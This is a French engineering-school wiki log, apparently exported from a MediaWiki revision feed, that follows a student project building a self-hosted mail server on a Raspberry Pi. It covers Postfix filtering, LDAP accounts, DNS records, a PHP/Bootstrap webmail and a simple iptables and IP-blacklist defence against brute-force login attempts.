Nous avons écrit un script perl pour envoyer des mails de manière automatique. Précisons que nous avons dû installer &amp;lt;code&amp;gt;libswitch-perl&amp;lt;/code&amp;gt; pour pouvoir l'utiliser. Ce package devra être ajouté dans les dépendances lors de la constitution du fichier d'installation de notre outil.&lt;br /&gt;
&lt;br /&gt;
===Semaine 7 (02/11/2015) - Architecture du système de fichiers ===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-archi.PNG|600px|thumb|center|File system architecture]]&lt;br /&gt;
&lt;br /&gt;
Notre système s'articule autour de 2 chemins distincts. A droite en rouge, l'architecture classique par défaut de postfix. Les mails reçus sont enregistrés par défaut dans un dossier par utilisateur et par domaine, dans le dossier new. A gauche notre architecture greffée, dans un sous dossier différent, par utilisateur et par domaine. Dans ces sous-dossiers, on distingue alors 2 dossiers et 1 fichier. &lt;br /&gt;
* Le fichier contient la valeur actuelle du quota de l'utilisateur. On préfère cette méthode plutôt que de faire calculer l'espace disque disponible dans un dossier par le système à chaque fois. On fera tourner un script, de nuit, périodiquement, pour vérifier que le quota correspond bel et bien à la valeur dans le fichier, pour éviter d'incrémenter/décrémenter une erreur. &lt;br /&gt;
* Un dossier mail, dans lequel sont stockés les mails envoyés&lt;br /&gt;
* Un dossier json, dans lequel sont stockés les conteneurs json, qui contiennent les en-têtes des mails envoyés, reçus, spams et poubelles. On accède donc à toutes les infos utiles au webmail en lisant ces json, plutôt que de lire à chaque fois tous les mails, ce qui serait extrêmement lourd et lent.&lt;br /&gt;
&lt;br /&gt;
===Semaine 8 (09/11/2015) - Postfix et filtrage===&lt;br /&gt;
Nous avons établi une première version de notre script de traitement des mails arrivant sur le serveur. Nous nous sommes inspirés pour cela de la configuration proposée dans le [http://www.postfix.org/FILTER_README.html manuel] de Postfix. La configuration se fait via le fichier &amp;lt;code&amp;gt;master.cf&amp;lt;/code&amp;gt;. Ce fichier permet de configurer tout les processus utilisés par Postfix pour fonctionner. Dans notre cas, il nous permet de déclarer un service de filtrage et d'indiquer au démon qui récupère les mails entrants (smtpd) de les transférer à ce service via un programme pipe. La configuration se fait de la manière suivante :&lt;br /&gt;
&lt;br /&gt;
 # ==========================================================================&lt;br /&gt;
 # service type  private unpriv  chroot  wakeup  maxproc command + args&lt;br /&gt;
 #               (yes)   (yes)   (yes)   (never) (100)&lt;br /&gt;
 # ==========================================================================&lt;br /&gt;
 smtp       inet  n       -       -       -       -       smtpd&lt;br /&gt;
   -o content_filter=filter&lt;br /&gt;
 filter     unix  -       n       n       -       5       pipe&lt;br /&gt;
   flags=Rq user=vmail null_sender=&lt;br /&gt;
   argv=/path/to/script $queue_id $size $sender $recipient&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons décidé de suivre la même structure que dans le manuel de Postfix. C'est à dire que postfix fait appel à un script de filtrage principal, qui va lui même faire appel à d'autres scripts répondant à des besoins plus spécifiques. Pour l'instant, le script va parser certaines informations des mails entrant dans des fichier .json, qui servent de base de données. En voici un exemple :&lt;br /&gt;
 [&lt;br /&gt;
  {&lt;br /&gt;
    &amp;quot;from&amp;quot;: &amp;quot;michel.drucker@gmail.com&amp;quot;,&lt;br /&gt;
    &amp;quot;subject&amp;quot;: &amp;quot;Vivement dimanche&amp;quot;,&lt;br /&gt;
    &amp;quot;timestamp&amp;quot;: &amp;quot;2015-11-8 19:59:53&amp;quot;,&lt;br /&gt;
    &amp;quot;unixtimestamp&amp;quot;: &amp;quot;1447012793&amp;quot;,&lt;br /&gt;
    &amp;quot;queueid&amp;quot;: &amp;quot;48FE03FA87&amp;quot;,&lt;br /&gt;
    &amp;quot;filepath&amp;quot;: &amp;quot;???&amp;quot;,&lt;br /&gt;
    &amp;quot;size&amp;quot;: &amp;quot;1676&amp;quot;,&lt;br /&gt;
    &amp;quot;status&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;pj&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;id&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;to&amp;quot;: &amp;quot;jbond@intimail.pw&amp;quot;&lt;br /&gt;
  }&lt;br /&gt;
 ]&lt;br /&gt;
Il serait également intéressant d'ajouter un champ permettant d'indiquer le chemin du fichier contenant le mail. Cependant au moment de l'exécution, même si nous avons accès au contenu du fichier, il est à priori impossible de connaître le nom définitif du fichier (il y a une part d'aléatoire). Ils serviront à l'affichage des mails dans les boîtes de réception dans le webmail. On pourra par la suite ajouter d'autres scripts permettant par exemple de vérifier la nature du message ou encore son contenu (Antivirus / Antispam / Pièces jointes).&lt;br /&gt;
&lt;br /&gt;
Il est intéressant également de pointer ici que le fichier de configuration permet de préciser l'utilisateur qui va exécuter le script de filtrage. Ici nous avons mis &amp;lt;code&amp;gt;user=vmail&amp;lt;/code&amp;gt;. Le script de filtrage s'exécutera donc en tant que vmail. Or pour l'interface, il faut qu'apache puisse accéder aux fichiers écrits par des processus de vmail. Pour les fichiers .json, écrits par le script de filtrage décrit plus haut, la solution du relativement simple. Il a suffit d'ajouter quelques commandes chmod pour autoriser la lecture et éventuellement l'écriture au groupe. Nous avons ensuite ajouté www-data au groupe vmail.&lt;br /&gt;
&lt;br /&gt;
Quant aux fichiers contenant les mails, ceux ci sont écrits par postfix, et nous n'avons pour l'instant pas trouvé le moyen d'autoriser l'accès à ces fichiers par www-data. Ce problème, ainsi que la difficulté à récupérer le nom du fichier (décrit plus haut), nous pousse à nous demander si le délivrement des mails ne devrait pas être géré par un programme de notre confection, plutôt que le programme sendmail de postfix. En théorie, cette méthode répond parfaitement aux deux problèmes mais sendmail propose certainement une gestion plus aboutie que nous ne saurons reproduire dans un temps limité.&lt;br /&gt;
&lt;br /&gt;
===Semaine 9 (16/11/2015)===&lt;br /&gt;
===Semaine 10 (23/11/2015)===&lt;br /&gt;
===Semaine 11 (30/11/2015)===&lt;br /&gt;
&lt;br /&gt;
Nous avons travaillé sur le parser de mails et tentons d'implémenter notre architecture de fichiers.&lt;br /&gt;
&lt;br /&gt;
D'autre part, nous avons travaillé l'interface web. Le contenu des tables affichant les en-tête des mails étant généré dynamiquement en fonction du fichier .json, il est impossible d'ajouter des balises &amp;lt;a href&amp;gt; pour rendre ces en-têtes cliquables pour afficher le contenu d'un mail.&lt;br /&gt;
&lt;br /&gt;
La solution retenue et implémentée est d'utiliser un événement JavaScript. Pour une table avec un ''id'' table, on récupère l'en-tête cliquée à l'aide de la fonction JavaScript suivante :&lt;br /&gt;
 $('#table').on('click-row.bs.table', function (e, row, $element) {&lt;br /&gt;
     console.log(row, $element);&lt;br /&gt;
     alert(&amp;quot;L'utilisateur d'intimail a cliqué sur &amp;quot;+row);&lt;br /&gt;
 });&lt;br /&gt;
&lt;br /&gt;
On peut donc récupérer l'en-tête du fichier, plus spécifiquement le champ contenant le chemin vers le fichier mail brut. On pourra alors envoyer ce chemin dans une variable à l'aide d'une requête POST lancée dans la fonction ci-dessus avec AJAX, et être emmené vers une page qui traitera et affichera à l'utilisateur ce fichier mail brut.&lt;br /&gt;
&lt;br /&gt;
===Semaine 12 (07/12/2015)===&lt;br /&gt;
==== Parseur pour les mails entrants ====&lt;br /&gt;
Comme nous l'avons dit à la semaine , nous avions rencontré un problème lors de la réception des mails. Pour resituer le problème : lors de la réception d'un mail, nous avons créé un hook pour postfix, qui s'exécute lors de la réception d'un email. La difficulté étant qu'au moment de cette exécution, les fichiers contenant les mails ne sont pas écrits dans le système de fichier, rendant impossible la récupération des noms de fichier. De plus, ces fichiers comportent les permissions 600 pour l'utilisateur et le groupe vmail:vmail.&lt;br /&gt;
&lt;br /&gt;
La solution que nous proposons est de détacher le processus de parsing au moment de l'appel du script. De cette manière, le mail peut être délivré correctement et passe quand même dans le script de parsing, nous permettant ainsi de récupérer les mails et les informations critiques. On peut même en profiter pour appliquer les droits dont nous avons besoin. A priori, il suffirait juste d'autoriser le groupe vmail en lecture et d'ajouter www-data à ce groupe pour pouvoir afficher le contenu des mails dans l'interface Web. Résumons schématiquement le processus :&lt;br /&gt;
 Un mail arrive&lt;br /&gt;
   Le hook de postfix est exécuté&lt;br /&gt;
     Le mail est envoyé via Sendmail --------------------------------------------------------------&amp;gt; Le mail est en attente de délivrement&lt;br /&gt;
     Le script de parsing est lancé                                                                   |&lt;br /&gt;
       Le script vérifie dans les dossiers la présence du nouveau mail                                |&lt;br /&gt;
       et réessaye un certain nombre de fois tant que tout les destinataires ne sont pas traités      |&lt;br /&gt;
        |                                                                                             v&lt;br /&gt;
        |                                                                                            Le mail est délivré et existe dans le système de fichier&lt;br /&gt;
        v                                                                                             |&lt;br /&gt;
       Le script a trouvé le fichier et le traite &amp;lt;----------------------------------------------------&lt;br /&gt;
 Fin&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi un peu réduit le contenu des éléments json en retirant le champ filepath. Les fichiers mails sont déplacés dans un dossier et renommés suivant le modèle &amp;lt;code&amp;gt;$unixtimestamp.$queueid&amp;lt;/code&amp;gt;. Si nous rencontrons des collisions de noms (ce qui devrait théoriquement ne pas arriver) nous garderons les noms de fichier standard de postfix et restaurerons le champ &amp;lt;code&amp;gt;filepath&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
====Interface Web====&lt;br /&gt;
L'interface web progresse, et la page d'accueil est désormais totalement terminée et dynamique. Comme on peut le voir sur l'image ci-dessous, la nombre de mails dans la boite de réception, dans la poubelle, et le quota sont retrouvés et calculés dynamiquement, et ce en chargeant simplement les fichiers .json d'en-tête que nous avons crée, ce qui évite au système des calculs lourds. En outre le bouton &amp;quot;Write an email&amp;quot;, présent dans la barre de navigation en haut mais aussi en gros sur la page d'accueil permet d'ouvrir une fenêtre pour écrire un email. L'envoi fonctionne parfaitement sur le réseau interne de l'école (nous devons encore passer la Raspberry sur un modem en dehors de Polytech pour éviter les foudres du CRI.), et ne devrait poser aucun problème une fois cette histoire de filtrage bypassée. Nous savons aussi envoyer des pièces-jointes, pour l'instant en dur pour la Proof of Concept, nous implémenterons bientot la possiblité à un utilisateur de téléverser son propre fichier (à taille raisonnable). Nous réflechissons au stockage de la PJ : serveur distant ?&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-homepage.PNG|1000px|thumb|center|Webmail Home Page]]&lt;br /&gt;
&lt;br /&gt;
===Semaine 13 (14/12/2015)===&lt;br /&gt;
===Semaine 14 (04/01/2016)===&lt;br /&gt;
===Semaine 15 (11/01/2016)===&lt;br /&gt;
===Semaine 16 (18/01/2016)===&lt;br /&gt;
===Semaine 17 (25/01/2016)===&lt;br /&gt;
===Semaine 18 (01/02/2016)===&lt;br /&gt;
===Semaine 19 (08/02/2016)===&lt;br /&gt;
===Semaine 20 (15/02/2016)===&lt;br /&gt;
===Semaine 21 (22/02/2016)===&lt;br /&gt;
&lt;br /&gt;
== Fichiers Rendus ==&lt;br /&gt;
Interface web : [https://intimail.pw intiMail.pw]&lt;br /&gt;
  &lt;br /&gt;
Rapport de Mi-Projet : [http://projets-imasc.plil.net/mediawiki/index.php?title=Fichier:P9_LIBAERT_TENEUR_DEC15.pdf ICI]&lt;br /&gt;
  &lt;br /&gt;
Rapport de Projet : [http:// Not Yet, Soon™]&lt;/div&gt;</summary>
		<author><name>Tteneur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P9_Syst%C3%A8me_d%27h%C3%A9bergement_domestique&amp;diff=24447</id>
		<title>P9 Système d'hébergement domestique</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P9_Syst%C3%A8me_d%27h%C3%A9bergement_domestique&amp;diff=24447"/>
				<updated>2015-12-15T07:30:20Z</updated>
		
		<summary type="html">&lt;p&gt;Tteneur : /* Fichiers Rendus */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Contexte====&lt;br /&gt;
&lt;br /&gt;
Les gens font confiance à des organismes comme google pour gérer leurs courriels, voire pour les protéger. Il n'est pas évident que leur confiance soit bien placée. Ce projet doit permettre à tout utilisateur de créer quelques comptes de messagerie sur une système embarqué de type raspberry et permettre de conserver les données à la maison.&lt;br /&gt;
&lt;br /&gt;
Le système doit être constitué à base de standards (base LDAP, serveur de messagerie connu et maintenu, client de messagerie idem). L'interface d'administration doit être elle aussi très simple d'utilisation. &lt;br /&gt;
&lt;br /&gt;
Un effort particulier doit être porté sur l'alimentation du système embarqué. L'idéal serait un mode de veille lorsqu'aucun paquet TCP/IP n'est adressé à la machine. Il est aussi demandé de mettre au point une alimentation à base d'énergie renouvelable (e.g. panneau solaire) permettant d'alimenter totalement ou partiellement le système. Enfin pour permettre de se passer de la box grande consommatrice d'énergie, le système embarqué doit pouvoir en reprendre les fonctionnalités principale (connexion avec le DSLAM, redirection des ports UDP/TCP, ...).&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
&lt;br /&gt;
L'objectif est de réaliser un système embarqué avec une alimentation autonome pour héberger une messagerie électronique domestique. Par domestique, il faut comprendre pour une dizaine de boites aux lettres. En outre, le système devra pouvoir être alimenté par un panneau solaire ou, le cas échéant, prendre relai sur le secteur lorsque l'alimentation fournie par le soleil n'est plus suffisante.&lt;br /&gt;
&lt;br /&gt;
====Description du projet====&lt;br /&gt;
====Choix techniques : matériel et logiciel====&lt;br /&gt;
Matériel obtenu à ce jour :&lt;br /&gt;
* 1 Raspberry Pi 2 [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenue le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Carte µSD 8 GB [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenue le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Cable USB/µUSB [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenu le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Câble RJ45 [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenu le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
&lt;br /&gt;
==Suivi de l'avancement du Projet==&lt;br /&gt;
===Semaine 1 (21/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Notre but étant la réalisation d'une messagerie électronique domestique capable de gérer une dizaine de boites aux lettres, nous nous orientons dans un premier temps sur les points suivants que nous allons éclaircir afin d'en tirer un cahier des charges.&lt;br /&gt;
&lt;br /&gt;
Nous allons étudier et approfondir les points suivants : &lt;br /&gt;
&lt;br /&gt;
* Installer une base LDAP, ou avoir plutôt avoir plusieurs comptes UNIX&lt;br /&gt;
* Installer un serveur de messagerie SMTP, et IMAP/POP&lt;br /&gt;
* Investiguer du côté de POSTFIX&lt;br /&gt;
* Étudier la taille d'un mail vide, et en moyenne, et voir combien ça fait par rapport au système&lt;br /&gt;
* Enquêter sur la forme des fichiers utilisateurs (généraliser les données)&lt;br /&gt;
&lt;br /&gt;
Ce qui doit pouvoir être fait :&lt;br /&gt;
* Distinction administrateur / utilisateur&lt;br /&gt;
* Un administrateur doit pouvoir gérer les comptes de messagerie (addition/suppression/etc)&lt;br /&gt;
* Gestion des quotas/espace disque réservé par ex&lt;br /&gt;
* Choix du quota (par qui ? options ?)&lt;br /&gt;
* SECURISER : apache, mod_security, étudier l'utilisation d'un pare-feu logiciel ?&lt;br /&gt;
&lt;br /&gt;
Prévision du Matériel :&lt;br /&gt;
* Raspberry Pi 2&lt;br /&gt;
* Alimentation RPi&lt;br /&gt;
* Carte SD (8Go)&lt;br /&gt;
&lt;br /&gt;
Le module énergétique sera équipé des éléments suivants :&lt;br /&gt;
* 1 MPPT&lt;br /&gt;
* Convertisseur Numérique Analogique : MAX5250&lt;br /&gt;
* Potentiomètre : MCP4261&lt;br /&gt;
* Relai : R561D.56 NTE&lt;br /&gt;
* Résistances : Deux de 100Ω et deux de 10kΩ&lt;br /&gt;
* une LED&lt;br /&gt;
* 40 pins broches mâle/mâle (Digikey Parts : A26509-40-ND), découpé par la suite en 8-8-6-4 &lt;br /&gt;
* Circuit d'alimentation autonome : cellule photovoltaique &lt;br /&gt;
* Circuit d'alimentation autonome : batterie (avec port micro-USB et port USB)&lt;br /&gt;
&lt;br /&gt;
===Semaine 2 (28/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps l'idée est de développer le système principal avec les fonctionnalités. Autrement dit les différents packages et fonctionnalités installées sur la raspberry ainsi que l'interface utilisateur sur le site web. Dans cette partie nous listerons les différentes fonctionnalités que nous aimerions implémenter.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Serveur SMTP (communications entre serveurs mails SMPT) et serveur IMAP/POP3 (postier)&lt;br /&gt;
*Postfix pour SMTP&lt;br /&gt;
*Dovecot, Courier ou Cyrus pour IMAP/POP3&lt;br /&gt;
*Implémentation de protocoles plus complexes et offrant notamment des fonctionnalités de chiffrement (SMTPS / ESMTP / SSL / HTTPS / Certificat)&lt;br /&gt;
*LMTP &lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Gestion particulière des gros mails et notamment de leurs pièces jointes&lt;br /&gt;
*Bigfile pour un stockage en ligne&lt;br /&gt;
*Décodage base 64 des pièces jointes ? (difficulté++)&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Gestion des utilisateurs&lt;br /&gt;
*Plusieurs comptes, en utilisant LDAP&lt;br /&gt;
*La possibilité de s'identifier en tant qu'administrateur&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Listes de diffusion&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Comptes mail temporaires (10 minutes mail like)&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Antivirus &amp;amp; Spam&lt;br /&gt;
*ClamAV ou SpamAssassin ou autres : lourd. &lt;br /&gt;
*iptables dans un premier temps.&lt;br /&gt;
*Antispam maison, gestion du contenu, marquage de spam par l'utilisateur, &amp;quot;boites intelligentes&amp;quot; de spams.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Les noms de domaines sont peut être nécessaires dès le départ pour tester le fonctionnement des fonctionnalités (telnet qui dit nope ?)&lt;br /&gt;
*Record A&lt;br /&gt;
*Record MX&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Sauvegarde automatique périodique de la Raspberry Pi (pendant le développement, pour éviter de perdre les données)&lt;br /&gt;
&lt;br /&gt;
Il faudra aussi prêter attention aux fonctionnalités disponibles sur l'interface et ne pas laisser des fonctionnalités fantômes issues d'un template générique que l'on a pu trouver sur l'Internet.&lt;br /&gt;
&lt;br /&gt;
===Semaine 3 (05/10/2015)===&lt;br /&gt;
Nous avons précisé les éléments constituants l'interface web :&lt;br /&gt;
* Gestion des comptes (création, modification, suppression d'utilisateurs...)&lt;br /&gt;
* Gestion des listes de diffusions&lt;br /&gt;
* Gestion des quotas&lt;br /&gt;
* Affichage du courrier&lt;br /&gt;
* Gestion de l'antivirus&lt;br /&gt;
&lt;br /&gt;
===Semaine 4 (12/10/2015)===&lt;br /&gt;
Nous avons mis en place un github pour suivre le développement : [https://github.com/biboon/pfe GitHub].&lt;br /&gt;
&lt;br /&gt;
Nous commençons à visualiser la structure de notre serveur mail. Dans un premier temps nous constituons notre base de données. Finalement nous utiliserons bien LDAP, qui semble relativement simple à utiliser contrairement à notre première impression.&lt;br /&gt;
&lt;br /&gt;
Nous avons utilisé [https://wiki.gandi.net/fr/hosting/using-linux/tutorials/debian/mail-server-ldap un tutoriel de Gandi] pour mettre en place la base de notre annuaire. Nous utiliserons les schemas disponibles dans le paquet courier-ldap. Nous avons écrit un script en perl permettant d'installer ce schema facilement, nous évitant d'avoir à réinstaller le paquet complet pour récupérer un unique fichier.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Il est important maintenant de changer les règles d'accès à la base de données. En effet la base de données est disponible pour n'importe qui, on peut y entrer avec la commande :&lt;br /&gt;
 ldapsearch -c -h localhost -b dc=domain,dc=tld -x&lt;br /&gt;
Nous avons ici aussi écrit un script permettant de le faire automatiquement. A ce stade il est nécessaire de s'identifier en tant qu'administrateur pour voir l'arbre :&lt;br /&gt;
 ldapsearch -c -h localhost -b dc=domain,dc=tld -D &amp;quot;cn=admin, dc=domain,dc=tld&amp;quot; -W&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On peut dorénavant développer la structure de notre directory. Nous avons choisi de reprendre la base du tutoriel de Gandi et d'ajouter une entité mail qui regroupera tout les utilisateurs du serveur mail. Nous avons donc écrit un fichier &amp;lt;code&amp;gt;.ldif&amp;lt;/code&amp;gt; décrivant cette structure et l'avons ajoutée avec la commande :&lt;br /&gt;
 ldapadd -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -h localhost -f ldif/mail_tree.ldif&lt;br /&gt;
On peut vérifier que la structure a bien été ajoutée à notre arbre avec la commande :&lt;br /&gt;
 ldapsearch -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -h localhost -b &amp;quot;dc=domain,dc=tld&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut ajouter nos utilisateurs à la base de données. Ici il est d'autant plus intéressant d'automatiser cette manipulation. Le principe est d'écrire un fichier &amp;lt;code&amp;gt;.ldif&amp;lt;/code&amp;gt; et de l'ajouter de la même manière que précedemment avec &amp;lt;code&amp;gt;ldapadd&amp;lt;/code&amp;gt;. Nous nous sommes inspirés ici encore du tutoriel de Gandi tout en l'adaptant. Le script perl &amp;lt;code&amp;gt;add_user.pl&amp;lt;/code&amp;gt; simplifie grandement l'ajout d'un utilisateur. On pourra par la suite le modifier pour l'utiliser directement avec du code php.&lt;br /&gt;
On peut vérifier que l'utilisateur a bien été ajouté avec la commande habituelle &amp;lt;code&amp;gt;ldapsearch&amp;lt;/code&amp;gt; et même tester l'identification avec :&lt;br /&gt;
 ldapwhoami -vvv -h localhost -D &amp;quot;cn=username,dc=mail,dc=domain,dc=tld&amp;quot; -x -W&lt;br /&gt;
Si la commande renvoie &amp;lt;code&amp;gt;Result: Success (0)&amp;lt;/code&amp;gt; alors l'identification a fonctionné.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
La commande &amp;lt;code&amp;gt;ldapsearch&amp;lt;/code&amp;gt; permet aussi de filtrer les recherches dans la base. Par exemple, avec notre configuration on peut afficher les utilisateurs avec la commande :&lt;br /&gt;
 ldapsearch -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -b &amp;quot;dc=mail,dc=domain,dc=tld&amp;quot; &amp;quot;(&amp;amp;(objectClass=CourierMailAccount))&amp;quot;&lt;br /&gt;
On peut aussi indiquer quels champs à afficher en les indiquant à la fin de cette commande.&lt;br /&gt;
&lt;br /&gt;
===Semaine 5 (19/10/2015)===&lt;br /&gt;
==== DNS et SSL ====&lt;br /&gt;
Nous avons obtenu un nom de domaine auprès de Gandi pour notre projet. Le site est accessible à l'adresse : [https://intimail.pw intimail.pw]&lt;br /&gt;
&lt;br /&gt;
nous avons configuré un serveur DNS et la certification SSL sur notre raspberry pi. Pour la démarche je vous renvoie à notre [http://projets-ima.plil.net/mediawiki/index.php?title=PRA2015_-_Configuration_des_commutateurs#Semaine_4 wiki] de TP de Protocoles Réseaux Avancés. La méthode est identique.&lt;br /&gt;
&lt;br /&gt;
De la même manière que dans le TP de PRA, nous voulions implémenter DNSSEC. Cependant arrivé à la dernière étape, nous nous sommes rendu compte que Gandi ne propose pas cette fonctionnalité pour les .pw. Dans l'éventualité où les DNSSEC seraient implémentés au cours de notre projet, nous pourrons activer cette fonctionnalité rapidement.&lt;br /&gt;
&lt;br /&gt;
La différence réside dans le fait que pour un serveur mail il faut un enregistrement de type MX. Dans le fichier de configuration des enregistrements de bind, nous avons ajouté les lignes :&lt;br /&gt;
 @       IN      MX      10 mail.intimail.pw.&lt;br /&gt;
 mail    IN      A       193.48.57.171&lt;br /&gt;
&lt;br /&gt;
De plus, un serveur mail doit pouvoir faire les résolutions inverses. En effet certains serveurs mail sont configurés pour rejeter ou retarder la livraison de mails provenant de serveurs dont la résolution inverse n'est pas effectuée. L'enregistrement PTR devient alors :&lt;br /&gt;
 171     IN      PTR     mail.intimail.pw.&lt;br /&gt;
&lt;br /&gt;
A ce stade, le serveur DNS devrait être correctement configuré et le SSL fonctionnel.&lt;br /&gt;
&lt;br /&gt;
==== LDAP ====&lt;br /&gt;
Pour notre annuaire LDAP, nous avons utilisé les schémas proposés dans le package courier-ldap. Ces fichiers particuliers permettent à ldap de structurer sa base de données. Après différents essais et discussion, nous avons retenu la structure suivante :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-ldap_directory.PNG|600px|thumb|center|LDAP directory structure]]&lt;br /&gt;
&lt;br /&gt;
Nous avons regroupé la totalité de nos entrées sous une entité commune mail, celle ci se divisant ensuite en deux groupes people et groups. Le dc people regroupe les informations des utilisateurs, que l'on détaillera plus tard. Le dc groups permettra quant à lui regroupera les différentes listes de diffusion. Il contient aussi le groupe particulier des administrateurs qui permettra de donner des droits privilégiés à certains utilisateurs.&lt;br /&gt;
&lt;br /&gt;
Pour ce qui est des informations des utilisateurs, voici un exemple de fichier de configuration pour l'utilisateur Jean Valjean : &lt;br /&gt;
 dn: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw&lt;br /&gt;
 uid: jvaljean&lt;br /&gt;
 mail: jvaljean@intimail.pw&lt;br /&gt;
 sn: Valjean&lt;br /&gt;
 givenName: Jean&lt;br /&gt;
 displayName: Jean Valjean&lt;br /&gt;
 mailbox: intimail.pw/jvaljean/&lt;br /&gt;
 homeDirectory: /home/vmail/&lt;br /&gt;
 objectClass: top&lt;br /&gt;
 objectClass: inetOrgPerson&lt;br /&gt;
 objectClass: CourierMailAccount&lt;br /&gt;
 userPassword: {SSHA}gCbVPaSGUaqjrq0mTQY77sOH4Xcq59Fg&lt;br /&gt;
&lt;br /&gt;
Ces différentes informations ne sont pas définitives : certains champs peuvent peut être être retirés (comme le champ homeDirectory qui pour l'instant est commun et identique à tout les utilisateurs).&lt;br /&gt;
&lt;br /&gt;
==== Web ====&lt;br /&gt;
&lt;br /&gt;
Nous avons cherché un template léger, simple, mais néanmoins fonctionnel et agréable pour notre interface web. L'idée est, plutôt que de prendre un webmail classique dont nous n'utiliserions que 25 à 50% des capacités, de réaliser un webmail qui répond à toutes les exigences du cahier des charges et implémentant uniquement le nécessaire. &lt;br /&gt;
Il s'est avéré après recherches que l'une des meilleures solutions était de partir sur une interface codée en PHP (ce dernier implémente une API dédiée à LDAP), agrémentée de Bootstrap pour le JS/CSS.&lt;br /&gt;
Notre choix s'est finalement porté sur le template Lumino, que l'on peut [http://medialoot.com/preview/frame/lumino.html essayer par ici].&lt;br /&gt;
&lt;br /&gt;
Après divers test, il s'avère qu'une page de cette interface met en moyenne pour charger totalement :&lt;br /&gt;
* 2,10s sur une connexion mobile 3G moyenne (4MB/s)&lt;br /&gt;
* 1,90s sur une  connexion 4G moyenne (15MB/s)&lt;br /&gt;
* 2,80s sur une connexion DSL moyenne (2MB/s)&lt;br /&gt;
* 1,90s sur une connexion Wifi (30MB/s)&lt;br /&gt;
* 1,70s sur une connexion THD (100MB/s)&lt;br /&gt;
Résultats qui semble apporter bon compris poids/qualité de l'interface.&lt;br /&gt;
&lt;br /&gt;
Nous avons alors déployé cette interface, dans un dossier /var/www/webmail/, puis ajouté le VirtualHost correspondant à notre site dans la configuration apache&lt;br /&gt;
 Config à venir, quelqu'un a éteint tutur06, notre raspberry est donc off :(&lt;br /&gt;
&lt;br /&gt;
===Semaine 6 (26/10/2015)===&lt;br /&gt;
==== Firewall ====&lt;br /&gt;
Etant donné que nous avons subi plusieurs tentatives de connexion SSH frauduleuses sur notre serveur, nous avons décidé de mettre en place un semblant de sécurité sur ce dernier. Nous avons donc écrit un petit script iptables simples pour filtrer les entrées. Celui ci se contente de bloquer tout les paquets entrant et de laisser passer les paquets par les ports ou nous avions vraiment besoin (ici SSH, HTTP, HTTPS, DNS, NTP, SMTP, POP3 et IMAP).&lt;br /&gt;
Après discussion, nous avons resserré davantage nos règles. Désormais le SSH n'est autorisé que pour des adresses ip spécifiées dans un fichier de liste blanche.&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi repéré dans le fichier /var/loh/auth.log plusieurs tentatives de connexions. Dans un premier temps nous avions cru à un problème de configuration de notre structure. Après avoir vérifié dans le log /var/log/syslog nous nous sommes aperçu qu'il s'agissait de connexions depuis des ip extérieures qui nous sont inconnues. Etant donné le nombre d'essais nous pensons que c'était une tentative d'intrusion sur le serveur SMTP par bruteforce. Comme première approche de contre-mesure nous avons pris le parti de constituer une liste noire. En effet ici nous n'avons pas le choix de laisser le port 25 (SMTP) ouvert. Pour cela nous avons utilisé les commandes :&lt;br /&gt;
 cat /vat/log/syslog | grep SASL\ LOGIN\ authentication\ failed                           # Pour lister les messages de connexion échouées&lt;br /&gt;
 sed -ne 's/.*\[\([0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\)\].*/\1/p'      # Pour n'afficher que les ip&lt;br /&gt;
 *file* | sort | uniq                                                                     # Pour classer et éliminer les doublons&lt;br /&gt;
&lt;br /&gt;
On peut ensuite vérifier que les ip listées sont bien inconnues. Nous avons ainsi constitué une liste noire de 23 adresses ip.&lt;br /&gt;
&lt;br /&gt;
==== Postfix ====&lt;br /&gt;
